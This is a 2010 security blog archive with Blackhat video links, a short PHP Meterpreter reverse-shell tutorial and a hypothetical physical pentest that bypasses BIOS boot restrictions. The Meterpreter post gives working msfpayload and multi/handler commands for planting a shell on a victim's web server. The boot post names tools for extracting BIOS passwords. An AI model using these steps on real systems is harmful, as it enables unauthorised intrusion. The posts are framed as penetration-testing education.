All posts by zitstif

Posts, Videos

Blackhat 2010 Videos

6 Comments

If there are any of you out there on the internet who are regularly reading my website, you may have noticed I haven’t updated in a while and this has been due to the fact that I’ve been busy with work and other aspects of life.

I still have projects in mind that I’m working on that I’d like to post but I haven’t made the time for them.

Without further ado, here are some links to videos of this years premier Blackhat 2010 Las Vegas security conference:

http://www.securitytube.net/Wardriving-the-Smart-Grid-(Blackhat-2010)-video.aspx

http://www.securitytube.net/SCADA-and-ICS-for-Security-Experts-(Blackhat-2010)-video.aspx

http://www.securitytube.net/Offensive-Python-for-Web-Hackers-(Blackhat)-video.aspx

http://www.securitytube.net/Jackpotting-Automated-Teller-Machines-Redux-(Blackhat-2010)-video.aspx

http://media.blackhat.com/bh-us-10/video/Keynote2/BlackHat-USA-2010-Keynote-Hayden.m4v

Posts

PHP meterpreter payload

8 Comments

Today I’ll be showing a new feature that has just been added to the Metasploit framework.

http://blog.metasploit.com/2010/06/meterpreter-for-pwned-home-pages.html

When one can upload files to a www directory and want further leverage on the system, they may want to do this via PHP in some way. PHP shells are a viable solution for this problem, if certain parameters are met.

One parameter that must be met, is that the server must allow system commands through PHP. If the server permits system commands through PHP, then a PHP shell will be a great tool for further assessment and possible privilege escalation.

If you surf around on the internet looking for PHP shells, you’ll find ones such as: c99.php, DXshell.php. Honestly, check out: php-shell.org

Now as part of the Metasploit framework, pentesters can now use meterpreter as a php payload. I will run through a quick example of how to create a meterpreter php payload and how to execute it:

msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > mypayload.php

With this file you can use it on the web server to get a reverse connection. Hopefully, you have gained some sort of write access to the www directory on the victim’s website. (For example, if you were to sniff / capture ftp credentials to the victim’s website). Other scenarios for gaining access to the system, may include local or remote file inclusion.

On the attacker’s end all you have to do is setup msfconsole and use the multi/handler. The following commands should be issued:

msf >use multi/handler
msf >set PAYLOAD php/meterpreter/reverse_tcp
msf >set LHOST 127.0.0.1
msf >set LPORT 4444
msf >exploit -z -j

All the attacker needs to do now, is simply visit to page http://victim.com/mypayload.php and ideally the attacker should be able to get a meterpreter session.

More to come as usual…

Posts

Boot Sequence Attacks

Leave a comment

There’s a saying amongst a few fellow computer security enthusiasts that I know of, that goes a little something like this, “If the attacker has physical access to the machine, the game is over.” (Or something to that extent)

This couldn’t be any further from the truth. If I were to do a permitted pentest upon a company which included physical access as part of the scope, then I would definitely test the local workstations and use one of them as a pivot point to gain further access/information.

To mitigate this attack, the administrator should ideally change the boot sequence to have the hard drive as the first device the computer boots from in the BIOS and also set the BIOS password, and have the computer case locked down, so one couldn’t clear the CMOS (it’s usually jumper 1 on the motherboard).

However, in most large facilities, administrators usually don’t take the time to do this and are usually more concerned with other types of attacks, in my opinion.

Now I will give a hypothetical scenario for a pentester that will permit him/her to do a pentest that will include physical access to this factitious facility.

Upon gaining physical access to a workstation, the pentester has a few tools with him/her. In his/her arsenal he/she has as follows:

BackTrack 4 on a USB flash drive
PLoP ( http://www.plop.at/en/bootmanager.html )
Konboot ( http://www.piotrbania.com/all/kon-boot/ )
cmospwd ( http://www.cgsecurity.org/wiki/CmosPwd )

As the pentester reboots the computer and tries to enter the BIOS, he/she is stopped by a password prompt. In the password prompt, he/she tries a few combinations including backdoor passwords that are sometimes set by manufacturers. ( http://www.uktsupport.co.uk/reference/biosp.htm )

Realizing that none of these worked, the pentester needs to then assess whether or not the administrator has locked down the boot sequence.

Out comes the flash drive and into the USB port it goes! The pentester is aware of how some motherboards will default to the USB drive as the first boot device when plugged in. (I’ve personally experienced this on a motherboard I own). However, still no luck!

With the pentester’s lock picking skills not at their best, he/she is detoured by the workstation’s case lock. It is time to him/her to revert to PLop.

PLop is one beautiful tool. It is a boot manager that you can even use on old motherboards that don’t support booting off of flash drives.

The pentester was in luck! The workstation checked the CD-ROM drive first in its boot sequence! Now the pentester can direct the victim workstation to boot off his USB drive (with Backtrack 4) via PLop.

Upon getting the prompt from Backtrack 4, the pentester is now curious about what the password was set to on the workstation.

To find this info, he/she uses cmospwd. By retrieving this password, the pentester can use this as leverage towards other devices in the network.

I’ve had luck with some motherboards using cmospwd for retrieving the password from the dump it can produce. Consequently, it’s not perfect, but it can get the job done.

I know I mentioned konboot as part of the arsenal but didn’t have the pentester use it, but I thought I’d mention it due to the fact it’s such a wonderful tool to have.

I’ll have more to come as usual and I have two programs in mind that I’m working on..